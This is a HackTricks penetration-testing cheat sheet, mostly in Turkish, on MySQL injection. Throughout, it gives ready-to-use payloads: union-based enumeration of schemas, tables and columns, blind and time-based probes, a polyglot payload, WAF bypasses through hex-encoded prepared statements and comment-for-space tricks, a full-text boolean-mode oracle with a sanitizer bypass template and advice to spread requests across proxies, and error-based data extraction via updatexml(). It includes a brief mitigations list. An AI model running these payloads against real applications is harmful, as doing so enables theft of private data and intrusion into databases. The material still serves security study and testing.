MySQL injection

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Yorumlar

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

İlginç Fonksiyonlar

Mysql’i Onayla:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Yararlı fonksiyonlar

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Tüm injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Akış

Unutmayın ki “modern” MySQL sürümlerinde “mysql.innodb_table_stats” yerine “information_schema.tables” kullanabilirsiniz. (Bu, WAFs’ı atlatmak için kullanışlı olabilir.)

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Sadece 1 değer

  • group_concat()
  • Limit X,1

Blind birer birer

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind ekleme

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Sütun sayısını tespit etme

Basit bir ORDER kullanarak

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Burada farklı seçenekleri öğrenin abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

Stacked queries izinliyse, çalıştırmak istediğiniz query’nin hex representation’ını bir değişkene atayıp (SET kullanarak) daha sonra PREPARE ve EXECUTE MySQL ifadelerini kullanarak WAFs’ı bypass edip query’yi nihayetinde çalıştırmak mümkün olabilir. Şöyle bir örnek:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Daha fazla bilgi için lütfen this blog post adresine bakın.

Information_schema alternatifleri

Unutmayın ki “modern” MySQL sürümlerinde information_schema.tables yerine mysql.innodb_table_stats veya sys.x$schema_flattened_keys ya da sys.schema_table_statistics kullanılabilir

MySQLinjection virgül kullanmadan

Herhangi bir virgül kullanmadan 2 sütun seçme (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Sütun adı olmadan değerleri alma

Eğer bir noktada tablonun adını biliyorsanız ama tablonun içindeki sütunların adını bilmiyorsanız, içinde kaç sütun olduğunu bulmak için şu gibi bir şey çalıştırmayı deneyebilirsiniz:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Varsayalım 2 sütun var (ilk sütun ID, diğeri flag); flag içeriğini karakter karakter bruteforce etmeyi deneyebilirsiniz:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Bazı uygulamalar, sscanf("%128s", buf) gibi fonksiyonlarla kullanıcı girdisini temizler veya ayrıştırır; bu fonksiyonlar ilk boşluk karakterinde durur.

MySQL, /**/ dizisini hem bir yorum ve hem de boşluk olarak değerlendirdiği için, sorguyu sözdizimsel olarak geçerli tutarken payload’daki normal boşlukları tamamen kaldırmak için kullanılabilir.

Örnek: time-based blind injection bypassing the space filter:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Veritabanının aldığı hali:

' OR SLEEP(5)-- -'

Bu, özellikle şu durumlarda kullanışlıdır:

  • Kontrol edilebilen tampon boyutu sınırlıysa (ör. %128s) ve boşluklar girdiyi erken sonlandırıyorsa.
  • HTTP header’ları veya normal boşlukların kaldırıldığı ya da ayırıcı olarak kullanıldığı diğer alanlar aracılığıyla enjeksiyon yaparken.
  • INTO OUTFILE primitifleriyle birleştirildiğinde tam pre-auth RCE elde etmek için (bkz. MySQL File RCE bölümü).

MySQL geçmişi

Diğer yürütmeleri MySQL içinde şu tabloyu okuyarak görebilirsiniz: sys.x$statement_analysis

Sürüm alternatifs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Bu klasik bir SQL injection değil. Geliştiriciler kullanıcı girdisini MATCH(col) AGAINST('...' IN BOOLEAN MODE) içine koyduğunda, MySQL alıntılanmış string içinde zengin bir Boolean arama operatörleri kümesini çalıştırır. Birçok WAF/SAST kuralı yalnızca quote breaking’e odaklanır ve bu yüzeyi gözden kaçırır.

Key points:

  • Operatörler tırnak içinde değerlendirilir: + (içermeli), - (içermemeli), * (sonek wildcard), "..." (tam ifade), () (gruplama), </>/~ (ağırlıklar). See MySQL docs.
  • Bu, string literalinden çıkmadan varlık/yokluk ve önek testlerine izin verir, örn. AGAINST('+admin*' IN BOOLEAN MODE) herhangi bir admin ile başlayan terimi kontrol etmek için.
  • Oracle’lar (ör. “herhangi bir satır X önekiyle bir terim içeriyor mu?”) oluşturmak ve gizli dizeleri önek genişletmesiyle sıralamak için kullanışlıdır.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Uygulama, sonuç kümesinin boş olup olmamasına göre farklı yanıtlar döndürüyor ise (ör. yönlendirme vs. hata mesajı), bu davranış gizli/silinmiş başlıklar gibi özel verileri sıralamak için kullanılabilecek bir Boolean oracle’a dönüşür.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: Eğer backend her kelimenin sonundan (\b.{1,2})(\s)|(\b.{1,2}$) gibi bir regex ile 1–2 karakter kırpıyorsa, prefix*ZZ gönderin. Temizleyici ZZ’yi kırpar ama *’ı bırakır, böylece prefix* kalır.
  • Early-break stripping: Eğer kod operatörleri kelime başına temizler ama herhangi bir token’ın uzunluğu ≥ min length olduğunda işlemeyi durduruyorsa, iki token gönderin: ilki uzunluk eşiğini karşılayan gereksiz bir token, ikincisi operator payload’u taşır. Örneğin: &&&&& +jack*ZZ → temizlendikten sonra: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Enumeration workflow:

  1. Start with {FUZZ} = a…z,0…9 to find first-letter matches via +a*, +b*, …
  2. For each positive prefix, branch: a* → aa* / ab* / …. Repeat to recover the whole string.
  3. Distribute requests (proxies, multiple accounts) if the app enforces flood control.

Why titles often leak while contents don’t:

  • Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.

Mitigations:

  • If you don’t need Boolean logic, use IN NATURAL LANGUAGE MODE or treat user input as a literal (escape/quote disables operators in other modes).
  • If Boolean mode is required, strip or neutralize all Boolean operators (+ - * " ( ) < > ~) for every token (no early breaks) after tokenization.
  • Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
  • Review analogous features in other DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS also parse operators inside quoted arguments.

Notes:

  • Prepared statements do not protect against semantic abuse of REGEXP or search operators. An input like .* remains a permissive regex even inside a quoted REGEXP '.*'. Use allow-lists or explicit guards.

Hata tabanlı exfiltration ile updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() bir XPATH hatası oluşturur ve birleştirilmiş stringi gömerek iç SELECT’in değeri hata yanıtında ayraçların (0x7e = ~) arasında görünür. Satırları numaralandırmak için LIMIT 1 OFFSET N’i yineleyin. UI “boolean” testlerini zorladığında bile hata mesajı hâlâ yüzeye çıktığı için bu yöntem çalışır.

Diğer MYSQL injection rehberleri

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin